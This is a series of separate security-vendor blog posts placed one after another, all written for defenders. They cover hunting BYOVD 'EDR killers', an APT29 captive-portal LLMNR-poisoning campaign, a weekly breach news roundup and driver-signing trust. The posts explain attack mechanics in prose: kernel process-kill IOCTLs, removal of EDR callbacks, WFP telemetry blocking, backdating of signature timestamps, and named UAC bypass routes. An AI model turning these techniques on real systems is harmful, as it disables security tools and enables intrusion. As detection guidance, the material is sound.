The memory-disclosure path never starts a process, so host telemetry alone will not see it. It can leave traces in web server, WAF, and CDN logs: unusual multipart requests followed by memory-limit errors or bursts of HTTP 500s, malformed or oversized PHPSESSID cookies, and unexplained worker churn. Singularity AI SIEM can ingest those sources alongside endpoint data if you forward them. Existing content covers allowed web shell uploads, successful POSTs to server-side scripts that have never received them before, and web shell command execution at the network layer. 

Hunt with Purple AI While You Patch

Patching is the only complete fix, and the Hardening section covers interim settings. While that work runs, analysts can ask Purple AI questions such as:

• Show me web server workers that spawned a shell in the last 72 hours.
• Show me new files written to web roots by php-fpm.
• Show me hosts with a spike in 500 responses followed by a child process from Apache.
• Show me outbound connections from www-data to destinations we have never seen.

The 500-response question depends on web server logs being ingested. 

Confirm Agent Saturation on Web-Facing Servers

Confirm the agent is deployed, healthy, and in protect mode on every server that serves PHP, including internet-facing Linux hosts.

Conclusion

The exploitation picture for PHP2Shell is moving quickly. As of October 21, 2026, no verified proof-of-concept code is available publicly. Attack attempts have been observed by Cloudflare after the leak, but no confirmed in-the-wild compromise has yet been reported. SentinelOne is monitoring PHP2Shell activity and will update this report as exploitation evidence, vendor guidance, and detection content change.

SentinelOne recommends customers follow vendor guidance and prioritize patching as the primary defensive tactic. Interim settings, WAF rules, and detection reduce risk while it is deployed. Update every PHP runtime to 8.5.12, 8.4.27, 8.3.36, or 8.2.35, restart the workers, and confirm the fix is running on the version the web server actually loads. Move PHP 8.1 and older to a supported branch or off the internet, and rotate any secrets that a worker on an unpatched, exposed system could have held in memory.

SentinelOne Black October Webinar

Disclaimer

Information contained herein is current as of October 21, 2026, and is subject to change as patch releases and threat activity evolve. Recipients should not rely solely on this report for security decisions and should consult with their security teams and SentinelOne account representatives for current guidance.

Bring your own vulnerable driver (BYOVD) is having a moment in endpoint security. Some of the buzz is earned. Some of it is overblown. This series unpacks both and shows the evidence for each. This piece turns the noise into specific behavior a detection team can hunt.

"EDR killer," a tool built to shut down endpoint detection and response (EDR), is one phrase doing the work of four different attacks. Detection teams treat it as a single thing and write one rule that catches one technique and misses the other three. The fix is to split the category and hunt each one on its own telemetry.

The four techniques share a goal and little else. Bring-your-own-vulnerable-driver loads a signed but flawed driver and drives kernel termination through it. Bring-your-own-installer abuses a trusted installer or upgrade path to swap the agent out. Admin-to-kernel walks an already-elevated session into Ring 0 through a documented gap. Driverless suspension never touches the kernel and freezes or filters the agent from user space. One detection cannot see all four.

The cost of conflating them is a coverage gap you cannot see. A single driver-load rule looks like coverage for "EDR killers," but the bring-your-own-installer and driverless paths leave no driver-load event at all, so that rule is silent while the agent dies.

Four Techniques, Four Hunts

Each leaves a distinct footprint. Below is the taxonomy and the observable to hunt for each.

Each hunt gets the same treatment: the observable, the telemetry source and event ID, the rule logic in plain terms, and the false-positive consideration. A detection engineer can ship the first one this week, and the rest follow as the baselines clean up.

Hunt One: Bring-your-own-vulnerable-driver

Bring-your-own-vulnerable-driver is the loudest of the four and the first one to instrument. The live LOLDrivers project tracks thousands of vulnerable signed drivers, most reachable without admin rights, a deep supply of signed-but-flawed kernel access with mature, copyable detection logic already in the public domain.

The primary observable is a driver load that does not match a trusted, previously-seen signature. Sysmon Event ID 6 is the core signal, logging each driver load with ImageLoaded, Hashes, Signed, Signature, and SignatureStatus. Any SignatureStatus other than Valid warrants investigation.

Two signature-based detections are worth building directly. The first keys on the driver-load signature status itself: alert on any driver load whose signature status is not Valid, which catches the signature-enforcement bypass and the BYOVD loader chain. The second is a first-seen detection: alert on a driver whose hash, signer, or version has never been seen on the host before, so anomalous drivers surface on first load instead of after the kill.

The false-positive consideration is real. Patch cycles introduce new signers and hashes constantly, and a first-seen rule will flare on legitimate new software. Published detection content that joins Event ID 6 driver loads against a known-bad driver table ships with an explicit false-positive warning. Plan for a tuning period and an allowlist before this rule goes to a 24/7 queue.

The SentinelOne® Annual Threat Report reaches the same conclusion for hunting at scale, urging teams to chase suspicious behavior rather than specific hashes or file names. It names kernel-mode drivers derived from POORTRY used to kill EDR and delete security files, the posture every hunt below adopts.

POORTRY is the canonical signed-driver kill primitive defenders hunt. SentinelLABS traced the STONESTOP loader and the POORTRY kernel driver, which received a process-kill IOCTL to terminate security tools. The driver carried valid WHQL signatures, later revoked under advisory ADV220005. A signed kernel driver issuing process-termination IOCTLs is the behavior this hunt exists to catch.

Know your coverage baseline before you trust prevention to backstop this hunt. The attack surface reduction (ASR) rule blocks a vulnerable signed driver from being written to disk. It does not block a driver already present from loading, so a driver the blocklist policy would block keeps running until reboot and an in-progress kill chain survives policy activation. The CodeIntegrity Operational log Event ID 3099 confirms when the blocklist policy is applied on a host. It does not catch an attack. It tells you whether your driver-blocking policy is live.

Hunt Two: The Kill Chain As a Correlation Target

The strongest version of the loud hunt is the ordered sequence, because a single event tells you far less than the chain it belongs to. Public research documents the full bring-your-own-vulnerable-driver chain and its detection points. It runs as sc.exe service create (Sysmon Event ID 1) plus a service install (System Event 7045), then a driver load at Event ID 6, then a DeviceIoControl device-control call (IOCTL), then callback removal and security-process termination.

Correlating that ordered sequence is far stronger than alerting on any single step. A service create alone is common, and a driver load alone is common. The same two within seconds, followed by an IOCTL to the freshly-loaded driver, is a fingerprint ordinary administration does not produce. Build a windowed sequence rule keyed on the service name to the image path to the device handle.

This chain shows up in real intrusions. Public threat research documents the pattern across named campaigns including Kasseika, BlackByte, and RansomHub. Attackers register a vulnerable driver as a kernel service via sc.exe, name that service to mimic a Windows update, then abuse IOCTLs for kernel primitives. The service-name masquerade is itself a tell. A "KB" service name attached to an unsigned or first-seen driver image is a high-confidence pair, so watch the join between the 7045 service-install name and the Event ID 6 image it loads.

The false-positive profile for the correlation beats the single events by design, because the conjunction is rare even when each part is common. The cost moves from alert volume to engineering effort: you need reliable event ordering and a join key, which means Sysmon tuned to capture both the service and the driver-load fields. Ship this second, after the single Event ID 6 rule is stable.

Hunt Three: Kernel-callback Removal and The Kernel-Originated Kill Loop

Admin-to-kernel needs a different lens, because the kill itself can happen entirely below the EDR's user-mode vantage point. Independent security research argues that admin-to-kernel falls short of a real security boundary and that the driver blocklist is an incomplete defense against it. Once code reaches Ring 0, it can remove the hooks the EDR relies on before it issues a kill.

Callback removal is its own observable, distinct from a process kill, and it deserves its own hunt. SOC Prime documented Qilin loading rwdrv.sys for raw memory read and write alongside a malicious hlpdrv.sys for kernel-callback manipulation, removing EDR kernel callbacks across more than 300 products. The same rwdrv.sys plus hlpdrv.sys pairing appears in Akira and other crews. The observable to instrument is the silent disappearance of kernel callbacks, a loss of expected callback telemetry from the EDR's own integrity reporting.

The termination that follows can run as a kernel-mode loop. The user-mode component enumerates running processes on a repeating, fixed-interval loop and sends the target PIDs to a masquerading kernel-service driver via IOCTL. The driver then calls ZwTerminateProcess in kernel mode, bypassing protected-process light entirely.

The fixed-interval rekill cadence is itself a signature. A user-mode agent that respawns and dies again on a repeating, fixed interval is being killed from below, not crashing on its own. That behavioral fingerprint is what you hunt when the callbacks are already gone.

The false-positive consideration is that this hunt depends on telemetry the attacker is actively trying to remove. Treat callback-integrity loss and the rekill cadence as corroborating signals rather than standalone alerts, paired with the cross-domain witnesses below.

Hunt Four: Bring-your-own-installer and Driverless Suspension

Bring-your-own-installer is the quietest of the four, and it leaves no driver-load event at all. SentinelOne documented this tamper bypass, where an attacker abuses a trusted installer or upgrade path to swap the agent out. SentinelOne shipped Local Upgrade Authorization, default-on for new customers, plus a detection rule and a hunting query against the bypass.

The hunt is an unexpected agent upgrade or reinstall outside a sanctioned change window. Your driver-load rule will never fire, because no vulnerable driver was ever loaded. The rule logic compares each event against a baseline of approved change, so you need a clean inventory of sanctioned upgrade windows and the package signers you deploy. Any agent install, uninstall, or version change outside that window is the finding. This is the hardest false-positive profile of the four, because without that inventory, normal patching drowns the queue. Build the baseline first.

Driverless suspension is the fourth class, and it abuses user-mode tricks that never touch the kernel. EDR-Freeze suspends the EDR process by racing the WerFaultSecure crash handler, entirely in user mode. EDRSilencer uses Windows Filtering Platform (WFP) filters to block EDR telemetry across roughly 16 products. These two leave different observables, so hunt them separately.

For the suspend path, watch for process-suspension state changes against the agent process that no maintenance action requested. For the filter path, watch for new WFP filters that match the agent's known egress destinations and silently drop its outbound telemetry, the EDRSilencer pattern. Legitimate updates and some VPN software touch process state and WFP filters, so scope the rules to the agent's own process and endpoints.

Why These Hunts Must Keep Pace

This work is urgent because the tooling has industrialized. SentinelLABS traced AvNeutralizer, also called AuKill, to the cybercrime gang FIN7, sold on Russian-language forums for $4,000 to $15,000 and adopted by Black Basta, AvosLocker, MedusaLocker, BlackCat, Trigona, and LockBit. That commoditization is the theme of SentinelOne's latest Annual Threat Report, which describes the industrialization of the modern cyber breach with mature automation accelerating intrusions. Public reporting tracked EDRKillShifter, a driver-based killer the RansomHub crew added to its arsenal and offered through an affiliate program, turning a hard kernel technique into a checkbox. Defenders face a market, not a single actor, so the hunts have to generalize across tools.

The Kill Is a Detection Gift

Here is the reframe most teams miss. They read the kill attempt as a defense failure and stop there. Read it instead as a high-confidence signal that ransomware is about to fire.

The Cyber Security Agency of Singapore documents the EDR-killer-then-ransomware sequence across multiple gangs, with the killer firing shortly before the ransomware. The minutes between the kill and the encryption are minutes you can act in. A correlated chain alert or a fixed-interval rekill detection that fires in that window is a live intervention point, not a post-incident artifact. The same advisory frames the whole category this way. EDR-killer activity is detectable via driver-load monitoring, suspicious process-termination patterns, and attempts to disable telemetry, three observables that map cleanly to the four hunts above.

There is a rarer, cleaner signal worth a dedicated rule. Independent researcher Peter M. flagged Windows Event ID 7031, a service that terminated unexpectedly. Scoped to security services, it is an ideal detection candidate, and quiet enough to alert on directly. A forced kernel termination often leaves a crash trail the service control manager records anyway. The kill leaves a fingerprint even when it succeeds.

When the Kill Succeeds nyway

Assume the kill works. You still are not blind. A successful kill produces an absence-of-signal you can alert on directly: agent-health drop, heartbeat loss, and the absence of expected telemetry, all findings alongside your suspicious-event rules. The SentinelOne Annual Threat Report describes one SaaS compromise that ran for 71 days until an automated detection correlated activity a manual review of sign-in logs had missed. Absence-of-signal correlation is exactly the kind of work a human queue rarely sustains alone.

Cross-domain telemetry survives the kill. Once the endpoint sensor is silenced, logging that operates independently of the agent remains as a witness, including network-based detection and cloud-based security monitoring. The attacker can kill the agent on one host. They cannot kill the firewall logs, the identity provider, and the cloud control plane at the same instant, and those sensors still record the lateral movement, credential use, and command-and-control that precede ransomware. Route them into the same hunt so the endpoint blind spot does not become total.

The false-positive consideration for the absence case is the most demanding of all. Absence-of-signal detection requires a reliable baseline of expected heartbeat, or a maintenance reboot looks like an attack. Tie the heartbeat-loss rule to the change-window inventory you built for bring-your-own-installer. A silent agent on a host with no scheduled maintenance, correlated with network or identity activity, is the alert.

Honest Tuning Notes

The order you ship it in decides whether analysts trust it, so sequence the rollout by signal quality. Start with the loud bring-your-own-vulnerable-driver hunt, because Sysmon Event ID 6 is low-volume and the rules already exist. Add the chain correlation next, since correlated sequences cut the false positives single events generate. Save the absence-of-signal and unexpected-upgrade hunts for last, after the baselines clean up. Shipping them out of order floods analysts and teaches them to ignore the alerts.

Retire the Wrong Scoreboard

Stop scoring on "did the kill succeed." Score on "did we catch the kill." Catching it early gives the response team the minutes that decide whether files get encrypted.

Deploy this on Monday. Turn on Sysmon Event ID 6 logging and the untrusted-driver and first-seen rules for the loud class. Build the service-create-to-driver-load-to-termination correlation for the chain. Add a dedicated Event ID 7031 rule and an agent-health heartbeat monitor for the absence case. Wire network, identity, and cloud telemetry into the same view so a silenced sensor is not a silenced investigation.

The shift is from waiting for a verdict to running a hunt. That posture depends on an agent that keeps running and keeps telemetry flowing under attack, so demand the survivability test data before trusting any vendor's claim, ours included.

Why This Is the Work SentinelOne Exists to Do

Running these hunts in the minutes before encryption is where the contest is won, and that window is exactly what SentinelOne built Purple AI® to operate inside. Its Agentic Investigation capability runs the kind of zero-click investigation these hunts describe. It correlates the driver load, the service install, the callback removal, and the silence that follows, then renders a verdict and a response at machine speed. The kill attempt becomes the trigger, and the investigation is already running while the attacker still believes the sensor is blind.

Most security teams cannot run four hunts around the clock, and the attacker knows which hours are thin. Wayfinder, SentinelOne's managed detection and response practice, runs them for you, putting human hunters and autonomous investigation on the same telemetry every hour of every day. The kill is the middle of the story, and the platform is built to catch it there.

Step back across the whole series. It traced the EDR killer through four moves. A market with a price list. An industry with suppliers and resale. The trust gap it operates inside. And the hunts that catch it. One idea held the whole way through. A defender who watches behavior beats one who chases the binary of the week. Attackers turned the kill into a product. The answer is the one move a supplier cannot re-skin. It is the reach into the kernel to terminate what defends the host. Defenders are the protagonists of that story, and the platform exists to keep them there. A safer future for humanity is built by the people who refuse to look away when the kernel turns hostile.

External References

1. "LOLDrivers: Living Off The Land Drivers." loldrivers.io, retrieved 2026-06-26.
2. "Sysmon Community Guide: Driver Loading." TrustedSec, n.d.
3. "Qilin EDR Killer: Driver Abuse to Terminate 300+ Tools." SOC Prime, 2026-04-07.
4. "GRITREP: Observed Malicious Driver Use Associated with Akira SonicWall Campaign." GuidePoint Security (GRIT), 2025-08-05.
5. "EDR-killer driven by a decade-old vulnerable forensic driver." Help Net Security, 2026-02-05.
6. "New EDR-Freeze tool uses Windows WER to suspend security software." BleepingComputer, 2025-09-22.
7. "EDRSilencer." netero1010, GitHub repository, retrieved 2026-06-26.
8. "EDRSilencer red team tool used in attacks to bypass security." BleepingComputer, 2024-10-15.
9. "EDR-killing malware is the latest trend in ransomware." The Register, 2025-08-14.
10. "RansomHub gang developed a tool to kill EDR software." Security Affairs, 2024-08-15.
11. "Advisory on New Endpoint Detection and Response (EDR) Killer Tool Used by Multiple Ransomware Groups." Cyber Security Agency of Singapore, 2025-08-16.
12. "Investigating & Detecting EDR Killer." Peter M., Medium, 2025-11-19.

Once the corporate network stopped being defensible, the control had to move to the device, as SentinelOne® has long argued.

That move carried one assumption with it. Wherever the laptop sits, name resolution tells it the truth and the agent can reach its own cloud. Almost nothing in the stack checks either half.

In July 2026, Microsoft disclosed a campaign that breaks both and named it CaptiveCrunch. A captive portal is the sign-in page a public Wi-Fi network pushes in front of you before it lets you online. Hotels, airports, conference centres, the splash screen you click through without reading. That is where this campaign starts.

CaptiveCrunch is the work of APT29, the cyber-espionage arm of Russia's Foreign Intelligence Service. Microsoft tracks the group as Midnight Blizzard, and elsewhere it is Cozy Bear. Outside the industry it is best known for the SolarWinds compromise.

We saw the same operation from the endpoint, across multiple environments we protect in three regions. We also found the adversary answering from inside the victims' own networks, which no public account of the campaign describes.

The Adversary Was on the Victim's Own Network Segment

Public accounts of CaptiveCrunch describe compromised captive-portal infrastructure, but our telemetry shows something narrower. The DnsPoison indicator recorded LLMNR responses on UDP/5355 carrying the adversary's address on roughly a third of affected hosts.

The queries carried randomised canary hostnames. LLMNR is link-local multicast that does not traverse routers. Anything answering those queries had to be sitting on the victim's own broadcast domain.

A Responder-style spoofer was sitting on the shared network, and no DNS server anywhere in the chain was compromised.

The techniques in play:

• T1557.001 (LLMNR/NBT-NS Poisoning and SMB Relay)

• T1557 (Adversary-in-the-Middle)

• T1659 (Content Injection), for the fake updates served in response to connectivity checks

• T1584.008 (Compromise Infrastructure: Network Devices), per public accounts, for the captive portal gateways

From the same layer-two segment as the laptop, the spoofer raced the legitimate resolver and won often enough to matter. Across affected hosts, clean and poisoned answers for the same domain interleaved seconds apart.

Success rates ranged from 5.6% to 84% depending on the network. The spoofer replayed the genuine CNAME chain and rewrote only the terminal A record.

Then Windows delivered the lure itself. To check whether a network needs a sign-in page, Windows fetches a known file over plain HTTP. If the reply is not what it expects, it assumes a captive portal and opens the default browser for sign-in. All of that is documented behaviour.

An adversary who rewrites the reply on-path gets the operating system to open the browser at their page. The lure needed no email and no link, but everything after that still needed a person at the keyboard.

The payload was a browser updater matched to the victim's own browser. Microsoft documented ClickFix-style lures for this campaign. In those, the victim is walked through running a command. We saw no such lure on our endpoints, where downloading the file and launching it was manual every time.

Nothing you own sits in the path on someone else's LAN, so the control has to live on the host.

Disable LLMNR. It is the best host control and also the bluntest. It takes away the protocol the adversary is answering on, which no detection rule can do. LLMNR's fallback is rarely load-bearing in a managed estate.

Why the Usual Controls Were Not In the Path

The attack runs on someone else's network, so your network controls are not involved. Your DNS filtering is not involved either, because the spoofer forges answers on the wire before trusted resolvers respond.

The browser renders the lure because Windows told it to. The chain has no email, link, attachment, or scripting host in it.

There is also almost no behaviour to detect, because everything dangerous about this payload happens after a process is created. Before that, nearly every step belongs to the operating system or the network. That is not the kind of behaviour a detection engine is built to catch.

The payload is CornFlake, a Go remote access trojan. CornFlake in turn deploys ChocoShell, a PowerShell infostealer that runs entirely in memory. Microsoft's analysis of the same payload itemises what each of them does.

CornFlake, on the host:

• Surveillance: A raw-input keylogger, clipboard monitoring, on-demand screenshots, microphone and webcam capture, and USB monitoring.

• Persistence: Service registration, Run keys, and scheduled tasks, with a watchdog to restore whatever a defender removes.

ChocoShell, deployed by CornFlake and resident only in memory:

• Cookie theft: Live cookie extraction from browser process memory and a defeat for Chrome's App-Bound Encryption.

• Token theft: Microsoft 365 and Entra ID tokens lifted from the Token Broker cache.

• Evasion: It disables AMSI through .NET reflection and runs a timing-based check for sandboxes and virtual machines before collecting anything.

• Escalation: It chains three UAC bypasses in fallback order through the SilentCleanup task, wsreset.exe, and sdclt.exe.

Until it runs, the file sits inert in Downloads.

Deciding Locally, On the File, Before it Runs

The adversary controlled the network the laptop sat on and had cut the agent's path to its cloud. That left the file, judged on the agent with nothing else in the loop.

The agent convicted every copy that landed, each before it could execute. That is one hundred percent of delivered payloads in one hundred percent of affected environments. We verified both figures twice against the telemetry. One endpoint ran an agent nearly a year out of date and reached the same verdict as current ones.

Then we tested for the things that would mean we were wrong. Every check came back empty:

• No process creations from the Downloads folder on any affected host

• No adversary-attributable persistence

• No lateral movement

• No post-incident C2 contact

• No payload hashes remaining

What It Looked Like in the Console

The investigating analyst recorded his screen while walking the Storylines on the endpoint where the payload came closest to running.

Because the Storylines are scattered across the campaign, he worked in two views. One was the management console, and the other was the Threat Operations Center, which clusters the same events more legibly.

Storyline 1: Delivery, With the Poisoning Visible On One Screen

It opens with Windows launching Edge with the connectivity-check URL as its argument.

Scroll into the DNS events on that same Storyline and the race is sitting there in plain view. One request for a domain resolves to a legitimate address. Scroll down, same domain, and it resolves to the adversary's address.

The same name was answered both ways, minutes apart, on one machine. Only injection racing a real resolver produces that pattern. Later comes the download, a browser updater with a (5) suffix on its filename.

The suffix means the browser had already written four earlier copies to the same folder. Our analyst took that to mean someone kept going back for it and tried to run the last one.

Deep Visibility does not record mouse clicks. Manual launching is an inference from the filename and the process chain, and we are flagging it as one.

Storyline 2: A Token Request While the Login Domain Was Poisoned

A different Storyline shows connections out to the adversary's address. Follow the URL events and the timing lines up with the delivery window.

The request is a POST to the OAuth token endpoint. Open the DNS events on that same Storyline, and the Microsoft login domain is already resolving to the adversary's address.

We can confirm token requests were issued while the poisoning was active, to a login domain resolving to the adversary. We cannot confirm what happened to them. Endpoint telemetry records the intended destination of a request, not the outcome of the TLS handshake. That handshake content is not something we have or can obtain.

Across the campaign there were 49 such requests. On one endpoint they began roughly 24 hours before any payload arrived, on another ten minutes before. Roughly half of the affected endpoints saw poisoning and no payload at all. That is a reasonable sign the malware was never the sole objective.

Storyline 3: The Verdict

It starts with the launch attempt, from the same browser process that had carried the operation from the start.

Static AI caught the download attempts, and the agent quarantined the file. On the launch attempt, the console records the payload blocked before launch and quarantined in under 100 milliseconds. It names the engine and the detection type on that event.

Earlier in the same sequence, Static AI convicted a .crdownload, the partial file a browser writes mid-download. That file was not named .exe, was not complete, and carried a partial hash rather than the payload's finished one.

Static AI read its structure and reached a verdict while the file was still arriving. It needed no signature, finished artifact, or lookup. The later (5) suffix shows the downloads kept coming. Nothing that landed ever ran.

Hunting for the Pattern, and the Identity Question the Endpoint Cannot Answer

Every behavioural signal missed at least one confirmed victim. Only two signals fired on every affected endpoint: the adversary's address and the poisoned DNS answer. Both depend on one address the operator can rotate at will.

Run these steps as a scheduled threat hunt rather than as a detection rule. Most of the work is correlation that costs something to run.

Primary Hunt: One Address Answering for Unrelated Domain Owners

Count distinct registrable domains (eTLD+1) spanning unrelated vendor ecosystems that resolve to the same public address. In our test against roughly ten thousand IPs and domains from affected environments, two surfaced, and both were the adversary.

1. Take DNS resolution events across the hunt window, keeping the queried name and the answered address.

2. Drop answers in private and carrier-grade ranges.

3. Reduce each queried name to its registrable domain using the Public Suffix List.

4. Group by answered address and count distinct registrable domains.

5. Map each registrable domain to its owning organisation and count distinct owners per address.

Step five separates a CDN from the adversary. An address answering for many domains owned by one organisation is a CDN. An address answering for many unrelated owners is not anything legitimate.

Counting raw answers instead fires on 389 of 9,375 addresses at a threshold of five. Azure Front Door and Cisco Umbrella top that list, and this hunt must never alert on that traffic.

Azure Front Door answers for azure.com, office.com, live.com, and microsoft.com. The adversary's address answered for Adobe, Apple, Akamai, AnyDesk, BeyondTrust, Brother, Microsoft, and roughly 128 others.

This hunt surfaced nearly a third of the endpoints we confirmed. No alert had flagged any of them. It runs across whole accounts, so it reaches machines beyond the ones you have already been handed.

Supporting inputs, weaker alone and useful in combination:

• An LLMNR response carrying a non-RFC1918 address. Expect travel noise, since some hotel and carrier networks hand out addressing outside RFC1918 that is odd but harmless.

• wpad.[your domain] resolving to a non-RFC1918 address.

• The connectivity-check URL in a browser command line, followed within sixty seconds by an executable or .crdownload in Downloads.

• Failed _ldap._tcp SRV lookups for your own domain controllers in the same window, placing the machine outside your own network.

If your staff roam, review the identity side for any suspected exposure window. Look for sign-ins from unfamiliar infrastructure, anomalous token issuance, and unexpected device registrations. Check there for what happened to the token requests.

Why the File Verdict Held

The agent convicted every copy of the file, on current and year-old agents alike. It did so while the adversary answered DNS for our own cloud endpoints in two regions. The network was the adversary's, down to the answer the agent received when it tried to reach its own console.

Static AI ships inside the SentinelOne agent. It reads a file's structure and reaches a verdict on the endpoint, without a signature update or a cloud round-trip. The Singularity™ Platform is built that way on purpose, because an agent cut off from its cloud needs a verdict.

APT29 showed here that it can cut an agent off from its cloud. Test what renders a verdict on your endpoints when the network is hostile and your console is unreachable. If it requires a lookup, that is your gap.

Third Party Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.

The Good | Authorities Arrest Cyber Exec for Extortion & Dismantle DPRK Laptop Farms

The FBI arrested Edward Dubrovsky, a Canadian former cybersecurity executive at incident response and ransomware negotiation firm CYPFER, on charges of conspiracy and extortion. Various reports have linked the arrest to the FBI’s continued crackdown on the ShinyHunters extortion group and their alleged compromise of the FBI’s job portal back in September. 

While Dubrovsky has not been officially named a ShinyHunters co-conspirator, FBI Director Kash Patel confirmed on X that agents had arrested "another suspected co-conspirator of the ShinyHunters group". Dubrovsky has since appeared in court and remains in custody. 

The FBI says that ShinyHunters and their associates have breached over 140 organizations worldwide and extracted at least $70 million in ransom payments over the past year. 

Also this week, the DoJ has charged 14 individuals and seized about 187 devices, including laptops and KVMs used in North Korean remote IT worker schemes. ​​The individuals, a mix of U.S. and Chinese nationals, are being charged with wire fraud, money laundering, and identity theft.

Executed across Texas under “Operation Lonestar Roundup”, federal agents searched 40 residences hosting laptop farms designed to hide the physical locations of North Korean operatives. Twelve of the fourteen remain at large, but authorities were able to arrest two U.S. facilitators, Michael James Bostelle and Juan Cecilio Pena Carrillo, for hosting employer-issued laptops and laundering salary payments. 

The FBI warns that workers in these schemes leverage stolen identities, remote-access technology, and proxy infrastructure to secure positions at U.S. companies within several critical industries, generating hundreds of millions collectively every year to fund DPRK weapons programs. 

The Bad | Hidden Cellular Implant in Ledger Wallets Leaks Seed Phrases to Attackers

Cryptocurrency wallet manufacturer Ledger has confirmed that one impacted device distributed by CryptoBilis, its Southeast Asian reseller, was compromised with an unauthorized hardware implant potentially designed to drain user funds. After receiving multiple user reports of cryptocurrency theft, Ledger has launched a forensic investigation that identified more cases of hardware modifications in devices sold across regional third-party channels.

Ledger wallets are physical devices that securely store the private keys needed to authorize transactions and manage cryptocurrency assets. An independent breakdown by Mark Karpelès examined the new implanted hardware, which captures the device’s display output and button presses to identify seed phrases before transmitting them to the attacker over an LTE connection. Tibane Labs, confirmed Karpelès’ findings and further found two implant variants for Ledger Nano X devices: one fitted beneath the battery compartment and the other under the OLED display. 

Since the hardware implant operates as an isolated component without altering the Ledger Secure Element chip or the onboard operating system, the tampered devices were able to pass Ledger’s built-in verification checks. Compromised devices have also been reported through unauthorized sellers in Europe and airport retail kiosks in Singapore. 

So far, Ledger has advised affected customers to transfer assets to uncompromised signers, requested CryptoBilis to pause all sales, and suspended wallet sales across all distributors in Southeast Asia and Hong Kong pending security reviews. 

In response to growing supply chain risks across the industry, other hardware wallet vendors have joined the conversation, announcing plans to reduce reseller networks and enforce stricter distribution standards. 

The Ugly | Remote Attacks on Refrigeration Systems Across France Cause Millions of Euros in Losses

Threat actors remotely breached internet-connected refrigeration controllers overnight across multiple major French supermarket chains, raising internal temperature settings to as high as 50°C by triggering automatic defrost cycles. The coordinated cyberattack affected around 700 stores, including Intermarché, Coopérative U, Carrefour Market, Monoprix, and Super U. The attack forced store operators to dispose of fresh and frozen food stock with Intermarché’s CEO estimating tens of millions of euros in financial damages. 

Investigators with the Paris prosecutor's office have opened a formal inquiry into the cyber incident following reports of widespread foodstuff losses and electrical equipment fires across affected retail facilities.

The intrusion targeted Danfoss AK-SM/AK-SC and Copeland/Dixwell XWEB refrigeration control units, many of which were legacy devices that no longer receive vendor security updates. French cybersecurity emergency response team CERT-FR issued an urgent advisory instructing operators to immediately disconnect exposed controllers or restrict network access. 

Tom Hegel, Distinguished Threat Researcher and Research Lead at SentinelLABS, noted how the incident bears the hallmarks of a nation-state cyber operation aimed at low-cost, deniable sabotage across European infrastructure. With no extortion demands or hacktivist claims made, the attack fits a broader pattern of disruptive activity targeting critical retail supply chains. 

Hegel highlighted that retail environments are particularly vulnerable because large estates of building management and refrigeration controllers are often deployed by facilities contractors without enterprise security team involvement. 

He pointed to a similar disruption that occurred at U.S. military commissaries in August where freezers on multiple bases failed within a day of each other. Hegel’s advice to retailers is to take these controllers off the public internet, enforce strong authentication, and replace hardware that no longer receives security updates.

Bring your own vulnerable driver (BYOVD) is having a moment in endpoint security. Some of the buzz is earned. Some of it is overblown. This series unpacks both and shows the evidence for each. This piece weighs the trust gap the technique exploits against what the data actually shows.

A long-revoked certificate still loads a driver into the Windows kernel today. Help Net Security traced a 2026 intrusion to a decade-old forensic driver whose signing certificate had expired and been revoked years earlier. The kernel loaded it anyway.

The reason is structural, and it explains why the defensive target most teams chase is the wrong one. Defenders track bad drivers. We pull the LOLDrivers catalog, sync the default driver blocklist, and watch the list grow. The list is not where attackers compete. They compete over signing trust. A signature is the scarce thing. A driver is just the disposable wrapper around it.

Trust Is the Scarce Resource and Drivers are Disposable

Think about a stolen credit card. The number keeps clearing for hours or days in the gap before merchant blocklists sync. The thief does not need a new card. They need the window where the old one still works. Card networks did not win by perfecting the blocklist. They won by scoring the transaction itself in real time, regardless of whether the number was flagged yet.

Signed drivers run on the same broken model. The blocklist is the merchant blocklist. The signature is the card. Attackers live in the propagation gap, and that gap is wide.

The defensive move that follows is to stop chasing the card numbers and instrument the transaction. This is the reframe no competitor owns. Defend the trust anchor, because the list will always trail it. The anchor is the signing trust itself: revocation, signature metadata, and the slow death of cross-signed-driver trust. A list of bad drivers grows forever. The set of trust mechanisms that let those drivers load is small and addressable.

The web learned this lesson the hard way already. Online Certificate Status Protocol (OCSP) soft-fail meant a browser that could not reach the revocation responder simply trusted the certificate anyway. The kernel driver model carries the same flaw in a harsher setting. There is no soft-fail to debate, because the kernel does not ask the question at all.

The Proof Is In the Certificates

The economics favor the attacker because trust concentrates. Public threat research found a single GitHub PFX file holding more than a dozen expired certificates, drawn from the 2015 Hacking Team leak and Chinese forums. That one file forged signatures on thousands of malicious drivers.

A small set of compromised keys signs an unbounded supply of drivers. A few stolen keys against thousands of drivers means the list defenders maintain can never catch up. Block a driver and the cost is one recompile. Edit unauthenticated bytes, the file hash changes, and the same key signs a new artifact. The blocklist entry you just earned is already stale, because the signing key did not move and the key is the asset. SentinelOne®'s latest Annual Threat Report documents loaders that reintroduce effectively the same payload under fresh hashes to outpace simple hash-based blocking.

The trust-pyramid framing from that research describes a real structure. At the base sit individual drivers, cheap and disposable. Above them sit the end-entity certificates that sign batches of drivers, and at the apex sit the cross-signed certificate authorities the kernel anchors to. An attacker who climbs one level multiplies their reach across everything below it, and defenders who fight at the base are fighting where the attacker has infinite supply.

The same research showed how attackers manufacture fresh trust on demand. Tools forge signature timestamps, exploiting the pre-July-29-2015 cross-signed certificate exception by backdating a signature so it appears to predate the cutoff. An expired or revoked certificate becomes a working signing key again. The forgery does not break the trust chain. It satisfies it.

The kernel makes this worse by refusing to check revocation. Windows loads drivers signed with revoked certificates even when a local revocation list is present, and the decade-old forensic driver case showed the same failure in 2026. The operating system's kernel-mode signing policy accepts end-entity certificates issued before July 29, 2015 if they chain to a cross-signed authority. The policy codifies the loophole rather than closing it.

The defensive consequence follows directly. Blocking expired and revoked certificate driver loads, paired with the blocklist, beats the blocklist alone. The blocklist enumerates known-bad files one at a time. Revocation enforcement attacks the reusable key behind all of them, scaling against the attacker instead of with them.

A certificate authority revokes a key when it learns the key is compromised, and in a working system every consumer checks the revocation list and refuses the key. A revoked certificate carries a clear instruction, do not trust anything this key signs, and the kernel loads the driver anyway. The attacker did not defeat the trust system. They used the part of it that was never enforced.

The Driver Persistence Half-Life

